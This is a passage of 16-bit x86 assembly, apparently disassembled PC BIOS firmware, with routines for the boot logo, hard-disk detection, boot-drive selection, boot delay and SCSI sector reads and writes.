mov ax, 00100h ; b8 00 01
int 016h ; cd 16
je short 079fbh ; 74 05
mov AL, strict byte 001h ; b0 01
jmp near 079fdh ; e9 02 00
db 032h, 0c0h
; xor al, al ; 32 c0
test al, al ; 84 c0
je short 07a27h ; 74 26
db 033h, 0c0h
; xor ax, ax ; 33 c0
int 016h ; cd 16
xchg ah, al ; 86 c4
mov dl, al ; 88 c2
mov byte [bp-00ch], al ; 88 46 f4
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00996h ; b8 96 09
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 5c 9f
add sp, strict byte 00006h ; 83 c4 06
cmp byte [bp-00ah], 000h ; 80 7e f6 00
je short 07a27h ; 74 04
mov al, dl ; 88 d0
jmp short 07a39h ; eb 12
test cx, cx ; 85 c9
jnle short 079b8h ; 7f 8d
jne short 07a31h ; 75 04
test si, si ; 85 f6
jnbe short 079b8h ; 77 87
mov ax, word [bp-010h] ; 8b 46 f0
push ax ; 50
popfw ; 9d
mov al, byte [bp-00ch] ; 8a 46 f4
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
read_logo_byte_: ; 0xf7a42 LB 0x16
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov dx, 003b8h ; ba b8 03
out DX, ax ; ef
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
read_logo_word_: ; 0xf7a58 LB 0x14
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov dx, 003b8h ; ba b8 03
out DX, ax ; ef
in ax, DX ; ed
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
print_detected_harddisks_: ; 0xf7a6c LB 0x15a
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
sub sp, strict byte 00006h ; 83 ec 06
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 ef 9b
mov si, ax ; 89 c6
mov byte [bp-00eh], 000h ; c6 46 f2 00
xor ch, ch ; 30 ed
mov byte [bp-00ch], ch ; 88 6e f4
mov dx, 00304h ; ba 04 03
call 01652h ; e8 c2 9b
mov byte [bp-00ah], al ; 88 46 f6
xor cl, cl ; 30 c9
cmp cl, byte [bp-00ah] ; 3a 4e f6
jnc short 07af8h ; 73 5e
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
add dx, 00305h ; 81 c2 05 03
mov ax, si ; 89 f0
call 01652h ; e8 a9 9b
mov bl, al ; 88 c3
cmp AL, strict byte 00ch ; 3c 0c
jc short 07adah ; 72 2b
test ch, ch ; 84 ed
jne short 07ac3h ; 75 10
mov ax, 009a7h ; b8 a7 09
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 b8 9e
add sp, strict byte 00004h ; 83 c4 04
mov CH, strict byte 001h ; b5 01
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
inc ax ; 40
push ax ; 50
mov ax, 009bch ; b8 bc 09
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 a2 9e
add sp, strict byte 00006h ; 83 c4 06
jmp near 07b8ch ; e9 b2 00
cmp AL, strict byte 008h ; 3c 08
jc short 07afbh ; 72 1d
cmp byte [bp-00ch], 000h ; 80 7e f4 00
jne short 07af6h ; 75 12
mov ax, 009cfh ; b8 cf 09
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 87 9e
add sp, strict byte 00004h ; 83 c4 04
mov byte [bp-00ch], 001h ; c6 46 f4 01
jmp short 07ac3h ; eb cb
jmp near 07b91h ; e9 96 00
cmp AL, strict byte 004h ; 3c 04
jnc short 07b19h ; 73 1a
cmp byte [bp-00eh], 000h ; 80 7e f2 00
jne short 07b19h ; 75 14
mov ax, 009e4h ; b8 e4 09
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 66 9e
add sp, strict byte 00004h ; 83 c4 04
mov byte [bp-00eh], 001h ; c6 46 f2 01
jmp short 07b32h ; eb 19
cmp bl, 004h ; 80 fb 04
jc short 07b32h ; 72 14
test ch, ch ; 84 ed
jne short 07b32h ; 75 10
mov ax, 009f6h ; b8 f6 09
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 49 9e
add sp, strict byte 00004h ; 83 c4 04
mov CH, strict byte 001h ; b5 01
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
inc ax ; 40
push ax ; 50
mov ax, 00a0ah ; b8 0a 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 33 9e
add sp, strict byte 00006h ; 83 c4 06
cmp bl, 004h ; 80 fb 04
jc short 07b4eh ; 72 03
sub bl, 004h ; 80 eb 04
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
test ax, ax ; 85 c0
je short 07b60h ; 74 05
mov ax, 00a14h ; b8 14 0a
jmp short 07b63h ; eb 03
mov ax, 00a1fh ; b8 1f 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 0b 9e
add sp, strict byte 00004h ; 83 c4 04
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov bx, strict word 00002h ; bb 02 00
cwd ; 99
idiv bx ; f7 fb
test dx, dx ; 85 d2
je short 07b81h ; 74 05
mov ax, 00a28h ; b8 28 0a
jmp short 07b84h ; eb 03
mov ax, 00a2eh ; b8 2e 0a
push ax ; 50
push bx ; 53
call 01976h ; e8 ed 9d
add sp, strict byte 00004h ; 83 c4 04
db 0feh, 0c1h
; inc cl ; fe c1
jmp near 07a95h ; e9 04 ff
cmp byte [bp-00eh], 000h ; 80 7e f2 00
jne short 07bafh ; 75 18
test ch, ch ; 84 ed
jne short 07bafh ; 75 14
cmp byte [bp-00ch], 000h ; 80 7e f4 00
jne short 07bafh ; 75 0e
mov ax, 00a35h ; b8 35 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 ca 9d
add sp, strict byte 00004h ; 83 c4 04
mov ax, 00a49h ; b8 49 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 bc 9d
add sp, strict byte 00004h ; 83 c4 04
lea sp, [bp-008h] ; 8d 66 f8
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
get_boot_drive_: ; 0xf7bc6 LB 0x28
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bl, al ; 88 c3
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 98 9a
mov dx, 00304h ; ba 04 03
call 01652h ; e8 76 9a
sub bl, 002h ; 80 eb 02
cmp bl, al ; 38 c3
jc short 07be5h ; 72 02
mov BL, strict byte 0ffh ; b3 ff
mov al, bl ; 88 d8
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
show_logo_: ; 0xf7bee LB 0x24f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
sub sp, strict byte 0000eh ; 83 ec 0e
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 6c 9a
mov si, ax ; 89 c6
mov byte [bp-00ch], 000h ; c6 46 f4 00
xor cx, cx ; 31 c9
mov AL, strict byte 034h ; b0 34
out strict byte 043h, AL ; e6 43
mov AL, strict byte 0d3h ; b0 d3
out strict byte 040h, AL ; e6 40
mov AL, strict byte 048h ; b0 48
out strict byte 040h, AL ; e6 40
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
call 07a58h ; e8 3b fe
cmp ax, 066bbh ; 3d bb 66
jne short 07c34h ; 75 12
push SS ; 16
pop ES ; 07
lea di, [bp-018h] ; 8d 7e e8
mov ax, 04f03h ; b8 03 4f
int 010h ; cd 10
mov word [es:di], bx ; 26 89 1d
cmp ax, strict word 0004fh ; 3d 4f 00
je short 07c37h ; 74 03
jmp near 07d0ch ; e9 d5 00
mov al, cl ; 88 c8
add AL, strict byte 004h ; 04 04
xor ah, ah ; 30 e4
call 07a42h ; e8 02 fe
mov bl, al ; 88 c3
mov byte [bp-014h], al ; 88 46 ec
mov al, cl ; 88 c8
add AL, strict byte 005h ; 04 05
xor ah, ah ; 30 e4
call 07a42h ; e8 f4 fd
mov bh, al ; 88 c7
mov byte [bp-012h], al ; 88 46 ee
mov al, cl ; 88 c8
add AL, strict byte 002h ; 04 02
xor ah, ah ; 30 e4
call 07a58h ; e8 fc fd
mov dx, ax ; 89 c2
mov word [bp-016h], ax ; 89 46 ea
mov al, cl ; 88 c8
add AL, strict byte 006h ; 04 06
xor ah, ah ; 30 e4
call 07a42h ; e8 d8 fd
mov byte [bp-010h], al ; 88 46 f0
test bl, bl ; 84 db
jne short 07c79h ; 75 08
test bh, bh ; 84 ff
jne short 07c79h ; 75 04
test dx, dx ; 85 d2
je short 07c34h ; 74 bb
mov bx, 00142h ; bb 42 01
mov ax, 04f02h ; b8 02 4f
int 010h ; cd 10
cmp byte [bp-014h], 000h ; 80 7e ec 00
je short 07cach ; 74 25
xor cx, cx ; 31 c9
jmp short 07c91h ; eb 06
inc cx ; 41
cmp cx, strict byte 00010h ; 83 f9 10
jnbe short 07cb3h ; 77 22
mov ax, cx ; 89 c8
or ah, 002h ; 80 cc 02
mov dx, 003b8h ; ba b8 03
out DX, ax ; ef
xor dx, dx ; 31 d2
mov ax, strict word 00001h ; b8 01 00
call 07990h ; e8 ee fc
cmp AL, strict byte 086h ; 3c 86
jne short 07c8bh ; 75 e5
mov byte [bp-00ch], 001h ; c6 46 f4 01
jmp short 07cb3h ; eb 07
mov ax, 00210h ; b8 10 02
mov dx, 003b8h ; ba b8 03
out DX, ax ; ef
cmp byte [bp-00ch], 000h ; 80 7e f4 00
jne short 07cceh ; 75 15
mov CL, strict byte 004h ; b1 04
mov ax, word [bp-016h] ; 8b 46 ea
shr ax, CL ; d3 e8
mov dx, strict word 00001h ; ba 01 00
call 07990h ; e8 ca fc
cmp AL, strict byte 086h ; 3c 86
jne short 07cceh ; 75 04
mov byte [bp-00ch], 001h ; c6 46 f4 01
cmp byte [bp-012h], 000h ; 80 7e ee 00
je short 07cffh ; 74 2b
cmp byte [bp-00ch], 000h ; 80 7e f4 00
jne short 07cffh ; 75 25
mov cx, strict word 00010h ; b9 10 00
jmp short 07ce4h ; eb 05
dec cx ; 49
test cx, cx ; 85 c9
jbe short 07d0ch ; 76 28
mov ax, cx ; 89 c8
or ah, 002h ; 80 cc 02
mov dx, 003b8h ; ba b8 03
out DX, ax ; ef
xor dx, dx ; 31 d2
mov ax, strict word 00001h ; b8 01 00
call 07990h ; e8 9b fc
cmp AL, strict byte 086h ; 3c 86
jne short 07cdfh ; 75 e6
mov byte [bp-00ch], 001h ; c6 46 f4 01
jmp short 07d0ch ; eb 0d
cmp byte [bp-00ch], 000h ; 80 7e f4 00
jne short 07d0ch ; 75 07
mov ax, 00200h ; b8 00 02
mov dx, 003b8h ; ba b8 03
out DX, ax ; ef
xor bx, bx ; 31 db
mov dx, 0037dh ; ba 7d 03
mov ax, si ; 89 f0
call 01660h ; e8 4a 99
mov AL, strict byte 003h ; b0 03
mov AH, strict byte 000h ; b4 00
int 010h ; cd 10
cmp byte [bp-010h], 000h ; 80 7e f0 00
je short 07d36h ; 74 14
cmp byte [bp-014h], 000h ; 80 7e ec 00
jne short 07d64h ; 75 3c
cmp byte [bp-012h], 000h ; 80 7e ee 00
jne short 07d64h ; 75 36
cmp word [bp-016h], strict byte 00000h ; 83 7e ea 00
je short 07d39h ; 74 05
jmp short 07d64h ; eb 2e
jmp near 07e20h ; e9 e7 00
cmp byte [bp-010h], 002h ; 80 7e f0 02
jne short 07d4dh ; 75 0e
mov ax, 00a4bh ; b8 4b 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 2c 9c
add sp, strict byte 00004h ; 83 c4 04
cmp byte [bp-00ch], 000h ; 80 7e f4 00
jne short 07d64h ; 75 11
mov dx, strict word 00001h ; ba 01 00
mov ax, 000c0h ; b8 c0 00
call 07990h ; e8 34 fc
cmp AL, strict byte 086h ; 3c 86
jne short 07d64h ; 75 04
mov byte [bp-00ch], 001h ; c6 46 f4 01
cmp byte [bp-00ch], 000h ; 80 7e f4 00
je short 07d36h ; 74 cc
mov byte [bp-00eh], 000h ; c6 46 f2 00
mov ax, 00100h ; b8 00 01
mov cx, 01000h ; b9 00 10
int 010h ; cd 10
mov ax, 00700h ; b8 00 07
mov BH, strict byte 007h ; b7 07
db 033h, 0c9h
; xor cx, cx ; 33 c9
mov dx, 0184fh ; ba 4f 18
int 010h ; cd 10
mov ax, 00200h ; b8 00 02
db 033h, 0dbh
; xor bx, bx ; 33 db
db 033h, 0d2h
; xor dx, dx ; 33 d2
int 010h ; cd 10
mov ax, 00a6dh ; b8 6d 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 e0 9b
add sp, strict byte 00004h ; 83 c4 04
call 07a6ch ; e8 d0 fc
mov ax, 00ab1h ; b8 b1 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 cf 9b
add sp, strict byte 00004h ; 83 c4 04
mov dx, strict word 00001h ; ba 01 00
mov ax, strict word 00040h ; b8 40 00
call 07990h ; e8 dd fb
mov cl, al ; 88 c1
test al, al ; 84 c0
je short 07daah ; 74 f1
cmp AL, strict byte 030h ; 3c 30
je short 07e0dh ; 74 50
cmp cl, 002h ; 80 f9 02
jc short 07de6h ; 72 24
cmp cl, 009h ; 80 f9 09
jnbe short 07de6h ; 77 1f
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
call 07bc6h ; e8 f8 fd
cmp AL, strict byte 0ffh ; 3c ff
jne short 07dd4h ; 75 02
jmp short 07daah ; eb d6
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
mov dx, 0037ch ; ba 7c 03
mov ax, si ; 89 f0
call 01660h ; e8 80 98
mov byte [bp-00eh], 002h ; c6 46 f2 02
jmp short 07e0dh ; eb 27
cmp cl, 02eh ; 80 f9 2e
je short 07dfbh ; 74 10
cmp cl, 026h ; 80 f9 26
je short 07e01h ; 74 11
cmp cl, 021h ; 80 f9 21
jne short 07e07h ; 75 12
mov byte [bp-00eh], 001h ; c6 46 f2 01
jmp short 07e0dh ; eb 12
mov byte [bp-00eh], 003h ; c6 46 f2 03
jmp short 07e0dh ; eb 0c
mov byte [bp-00eh], 004h ; c6 46 f2 04
jmp short 07e0dh ; eb 06
cmp byte [bp-00eh], 000h ; 80 7e f2 00
je short 07daah ; 74 9d
mov bl, byte [bp-00eh] ; 8a 5e f2
xor bh, bh ; 30 ff
mov dx, 0037dh ; ba 7d 03
mov ax, si ; 89 f0
call 01660h ; e8 46 98
mov AL, strict byte 003h ; b0 03
mov AH, strict byte 000h ; b4 00
int 010h ; cd 10
mov AL, strict byte 034h ; b0 34
out strict byte 043h, AL ; e6 43
db 033h, 0c0h
; xor ax, ax ; 33 c0
out strict byte 040h, AL ; e6 40
out strict byte 040h, AL ; e6 40
push bp ; 55
push DS ; 1e
mov ds, ax ; 8e d8
call 0ede3h ; e8 b2 6f
pop DS ; 1f
pop bp ; 5d
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
delay_boot_: ; 0xf7e3d LB 0x72
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
mov bx, ax ; 89 c3
test ax, ax ; 85 c0
je short 07ea5h ; 74 5a
mov AL, strict byte 034h ; b0 34
out strict byte 043h, AL ; e6 43
mov AL, strict byte 0d3h ; b0 d3
out strict byte 040h, AL ; e6 40
mov AL, strict byte 048h ; b0 48
out strict byte 040h, AL ; e6 40
push bx ; 53
mov ax, 00afbh ; b8 fb 0a
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 13 9b
add sp, strict byte 00006h ; 83 c4 06
test bx, bx ; 85 db
jbe short 07e84h ; 76 1a
push bx ; 53
mov ax, 00b19h ; b8 19 0b
push ax ; 50
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 01976h ; e8 00 9b
add sp, strict byte 00006h ; 83 c4 06
xor dx, dx ; 31 d2
mov ax, strict word 00040h ; b8 40 00
call 07990h ; e8 0f fb
dec bx ; 4b
jmp short 07e66h ; eb e2
mov bx, 00a49h ; bb 49 0a
push bx ; 53
mov bx, strict word 00002h ; bb 02 00
push bx ; 53
call 01976h ; e8 e7 9a
add sp, strict byte 00004h ; 83 c4 04
mov AL, strict byte 034h ; b0 34
out strict byte 043h, AL ; e6 43
db 033h, 0c0h
; xor ax, ax ; 33 c0
out strict byte 040h, AL ; e6 40
out strict byte 040h, AL ; e6 40
push bp ; 55
push DS ; 1e
mov ds, ax ; 8e d8
call 0ede3h ; e8 40 6f
pop DS ; 1f
pop bp ; 5d
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
scsi_cmd_data_in_: ; 0xf7eaf LB 0xd5
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov si, ax ; 89 c6
mov byte [bp-006h], dl ; 88 56 fa
mov word [bp-00ah], bx ; 89 5e f6
mov word [bp-008h], cx ; 89 4e f8
mov bx, word [bp+00ah] ; 8b 5e 0a
mov dx, si ; 89 f2
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 07ec5h ; 75 f7
mov al, byte [bp+004h] ; 8a 46 04
cmp AL, strict byte 010h ; 3c 10
jne short 07ed9h ; 75 04
xor ax, ax ; 31 c0
jmp short 07edbh ; eb 02
xor ah, ah ; 30 e4
mov di, ax ; 89 c7
mov ax, bx ; 89 d8
mov dx, word [bp+00ch] ; 8b 56 0c
mov cx, strict word 0000ch ; b9 0c 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 07ee5h ; e2 fa
mov cx, ax ; 89 c1
and cx, 000f0h ; 81 e1 f0 00
or cx, di ; 09 f9
mov al, byte [bp-006h] ; 8a 46 fa
mov dx, si ; 89 f2
out DX, AL ; ee
xor al, al ; 30 c0
out DX, AL ; ee
mov al, cl ; 88 c8
out DX, AL ; ee
mov al, bl ; 88 d8
out DX, AL ; ee
mov ax, bx ; 89 d8
mov dx, word [bp+00ch] ; 8b 56 0c
mov cx, strict word 00008h ; b9 08 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 07f0ah ; e2 fa
mov dx, si ; 89 f2
out DX, AL ; ee
xor cx, cx ; 31 c9
mov al, byte [bp+004h] ; 8a 46 04
xor ah, ah ; 30 e4
cmp cx, ax ; 39 c1
jnc short 07f2ch ; 73 0e
les di, [bp-00ah] ; c4 7e f6
add di, cx ; 01 cf
mov al, byte [es:di] ; 26 8a 05
mov dx, si ; 89 f2
out DX, AL ; ee
inc cx ; 41
jmp short 07f15h ; eb e9
mov dx, si ; 89 f2
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 07f2ch ; 75 f7
test AL, strict byte 002h ; a8 02
je short 07f47h ; 74 0e
lea dx, [si+003h] ; 8d 54 03
xor al, al ; 30 c0
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov di, strict word 00004h ; bf 04 00
jmp short 07f79h ; eb 32
lea dx, [si+001h] ; 8d 54 01
cmp word [bp+00ch], strict byte 00000h ; 83 7e 0c 00
jne short 07f56h ; 75 06
cmp bx, 08000h ; 81 fb 00 80
jbe short 07f70h ; 76 1a
mov cx, 08000h ; b9 00 80
les di, [bp+006h] ; c4 7e 06
rep insb ; f3 6c
add bx, 08000h ; 81 c3 00 80
adc word [bp+00ch], strict byte 0ffffh ; 83 56 0c ff
mov ax, es ; 8c c0
add ax, 00800h ; 05 00 08
mov word [bp+008h], ax ; 89 46 08
jmp short 07f47h ; eb d7
mov cx, bx ; 89 d9
les di, [bp+006h] ; c4 7e 06
rep insb ; f3 6c
xor di, di ; 31 ff
mov ax, di ; 89 f8
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 0000ah ; c2 0a 00
scsi_cmd_data_out_: ; 0xf7f84 LB 0xd5
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov di, ax ; 89 c7
mov byte [bp-006h], dl ; 88 56 fa
mov word [bp-00ah], bx ; 89 5e f6
mov word [bp-008h], cx ; 89 4e f8
mov bx, word [bp+00ah] ; 8b 5e 0a
mov dx, di ; 89 fa
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 07f9ah ; 75 f7
mov al, byte [bp+004h] ; 8a 46 04
cmp AL, strict byte 010h ; 3c 10
jne short 07faeh ; 75 04
xor ax, ax ; 31 c0
jmp short 07fb0h ; eb 02
xor ah, ah ; 30 e4
mov si, ax ; 89 c6
mov ax, bx ; 89 d8
mov dx, word [bp+00ch] ; 8b 56 0c
mov cx, strict word 0000ch ; b9 0c 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 07fbah ; e2 fa
mov cx, ax ; 89 c1
and cx, 000f0h ; 81 e1 f0 00
or cx, si ; 09 f1
mov al, byte [bp-006h] ; 8a 46 fa
mov dx, di ; 89 fa
out DX, AL ; ee
mov AL, strict byte 001h ; b0 01
out DX, AL ; ee
mov al, cl ; 88 c8
out DX, AL ; ee
mov al, bl ; 88 d8
out DX, AL ; ee
mov ax, bx ; 89 d8
mov dx, word [bp+00ch] ; 8b 56 0c
mov cx, strict word 00008h ; b9 08 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 07fdfh ; e2 fa
mov dx, di ; 89 fa
out DX, AL ; ee
xor cx, cx ; 31 c9
mov al, byte [bp+004h] ; 8a 46 04
xor ah, ah ; 30 e4
cmp cx, ax ; 39 c1
jnc short 08001h ; 73 0e
les si, [bp-00ah] ; c4 76 f6
add si, cx ; 01 ce
mov al, byte [es:si] ; 26 8a 04
mov dx, di ; 89 fa
out DX, AL ; ee
inc cx ; 41
jmp short 07feah ; eb e9
lea dx, [di+001h] ; 8d 55 01
cmp word [bp+00ch], strict byte 00000h ; 83 7e 0c 00
jne short 08010h ; 75 06
cmp bx, 08000h ; 81 fb 00 80
jbe short 0802bh ; 76 1b
mov cx, 08000h ; b9 00 80
les si, [bp+006h] ; c4 76 06
db 0f3h, 026h, 06eh
; rep es outsb ; f3 26 6e
add bx, 08000h ; 81 c3 00 80
adc word [bp+00ch], strict byte 0ffffh ; 83 56 0c ff
mov ax, es ; 8c c0
add ax, 00800h ; 05 00 08
mov word [bp+008h], ax ; 89 46 08
jmp short 08001h ; eb d6
mov cx, bx ; 89 d9
les si, [bp+006h] ; c4 76 06
db 0f3h, 026h, 06eh
; rep es outsb ; f3 26 6e
mov dx, di ; 89 fa
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 08033h ; 75 f7
test AL, strict byte 002h ; a8 02
je short 0804eh ; 74 0e
lea dx, [di+003h] ; 8d 55 03
xor al, al ; 30 c0
out DX, AL ; ee
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov ax, strict word 00004h ; b8 04 00
jmp short 08050h ; eb 02
xor ax, ax ; 31 c0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 0000ah ; c2 0a 00
@scsi_read_sectors: ; 0xf8059 LB 0xe9
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00016h ; 83 ec 16
mov si, word [bp+004h] ; 8b 76 04
mov es, [bp+006h] ; 8e 46 06
mov al, byte [es:si+00ch] ; 26 8a 44 0c
sub AL, strict byte 008h ; 2c 08
mov byte [bp-006h], al ; 88 46 fa
cmp AL, strict byte 004h ; 3c 04
jbe short 08089h ; 76 15
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00b1eh ; b8 1e 0b
push ax ; 50
mov ax, 00b30h ; b8 30 0b
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 f0 98
add sp, strict byte 00008h ; 83 c4 08
mov es, [bp+006h] ; 8e 46 06
mov di, word [es:si+00eh] ; 26 8b 7c 0e
mov word [bp-01ah], 00088h ; c7 46 e6 88 00
mov ax, word [es:si+006h] ; 26 8b 44 06
mov bx, word [es:si+004h] ; 26 8b 5c 04
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
xchg ah, al ; 86 c4
xchg bh, bl ; 86 df
xchg ch, cl ; 86 cd
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
xchg bx, cx ; 87 cb
mov word [bp-012h], ax ; 89 46 ee
mov word [bp-014h], bx ; 89 5e ec
mov word [bp-016h], cx ; 89 4e ea
mov word [bp-018h], dx ; 89 56 e8
mov byte [bp-00ch], 000h ; c6 46 f4 00
mov ax, di ; 89 f8
xor dx, dx ; 31 d2
xchg ah, al ; 86 c4
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
mov word [bp-010h], ax ; 89 46 f0
mov word [bp-00eh], dx ; 89 56 f2
mov byte [bp-00bh], 000h ; c6 46 f5 00
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
mov bx, si ; 89 f3
add bx, ax ; 01 c3
mov ax, word [es:bx+0021ch] ; 26 8b 87 1c 02
mov bl, byte [es:bx+0021eh] ; 26 8a 9f 1e 02
mov word [bp-00ah], di ; 89 7e f6
mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00
mov cx, strict word 00009h ; b9 09 00
sal word [bp-00ah], 1 ; d1 66 f6
rcl word [bp-008h], 1 ; d1 56 f8
loop 080f4h ; e2 f8
push word [bp-008h] ; ff 76 f8
push word [bp-00ah] ; ff 76 f6
push word [es:si+00ah] ; 26 ff 74 0a
push word [es:si+008h] ; 26 ff 74 08
mov dx, strict word 00010h ; ba 10 00
push dx ; 52
mov dl, bl ; 88 da
xor dh, dh ; 30 f6
mov cx, ss ; 8c d1
lea bx, [bp-01ah] ; 8d 5e e6
call 07eafh ; e8 95 fd
mov ah, al ; 88 c4
test al, al ; 84 c0
jne short 08135h ; 75 15
mov es, [bp+006h] ; 8e 46 06
mov word [es:si+018h], di ; 26 89 7c 18
mov dx, word [bp-00ah] ; 8b 56 f6
mov word [es:si+01ah], dx ; 26 89 54 1a
mov dx, word [bp-008h] ; 8b 56 f8
mov word [es:si+01ch], dx ; 26 89 54 1c
mov al, ah ; 88 e0
xor ah, ah ; 30 e4
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
@scsi_write_sectors: ; 0xf8142 LB 0xe9
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00016h ; 83 ec 16
mov si, word [bp+004h] ; 8b 76 04
mov es, [bp+006h] ; 8e 46 06
mov al, byte [es:si+00ch] ; 26 8a 44 0c
sub AL, strict byte 008h ; 2c 08
mov byte [bp-006h], al ; 88 46 fa
cmp AL, strict byte 004h ; 3c 04
jbe short 08172h ; 76 15
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00b4fh ; b8 4f 0b
push ax ; 50
mov ax, 00b30h ; b8 30 0b
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 07 98
add sp, strict byte 00008h ; 83 c4 08
mov es, [bp+006h] ; 8e 46 06
mov di, word [es:si+00eh] ; 26 8b 7c 0e
mov word [bp-01ah], 0008ah ; c7 46 e6 8a 00
mov ax, word [es:si+006h] ; 26 8b 44 06
mov bx, word [es:si+004h] ; 26 8b 5c 04
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
xchg ah, al ; 86 c4
xchg bh, bl ; 86 df
xchg ch, cl ; 86 cd
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
xchg bx, cx ; 87 cb
mov word [bp-012h], ax ; 89 46 ee
mov word [bp-014h], bx ; 89 5e ec
mov word [bp-016h], cx ; 89 4e ea
mov word [bp-018h], dx ; 89 56 e8
mov byte [bp-00ch], 000h ; c6 46 f4 00
mov ax, di ; 89 f8
xor dx, dx ; 31 d2
xchg ah, al ; 86 c4
